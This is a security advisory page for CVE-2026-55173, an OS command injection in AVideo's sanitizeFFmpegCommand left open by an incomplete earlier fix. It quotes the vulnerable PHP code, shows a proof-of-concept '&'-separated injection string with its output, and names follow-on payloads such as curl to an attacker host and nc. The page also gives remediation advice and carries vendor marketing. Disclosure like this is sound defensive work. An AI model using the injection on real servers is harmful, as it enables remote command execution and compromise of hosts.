Summary
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Full technical description
The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original, only the surviving metacharacter differs.
Verified at master HEAD.
The surviving gap
HEAD sanitizeFFmpegCommand (functions.php):
$command = str_replace('&&', '', $command); // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&'
// then requires the result to start with 'ffmpeg'
A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.
Sink (unchanged)
plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:
$command = addcslashes($command, '"'); // line 686, escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; // line 705
exec($commandWithKeyword, ...); // line 712, PHP exec() runs via /bin/sh -c
The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.
Reachability
ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).
Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)
Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:
attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES passes prefix : YES
final sh -c string:
nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)
The sanitizer leaves & intact and the injected touch runs at the sink.
Impact
Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-55173 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set, but the denylist approach has now missed two metacharacters in a row ($() then &).
Frequently Asked Questions
- What is CVE-2026-55173? CVE-2026-55173 is a high-severity OS command injection vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-55173? CVE-2026-55173 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-55173? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-55173? No fixed version is listed for CVE-2026-55173 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-55173 exploitable, and should I be worried? Whether CVE-2026-55173 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55173 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55173? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.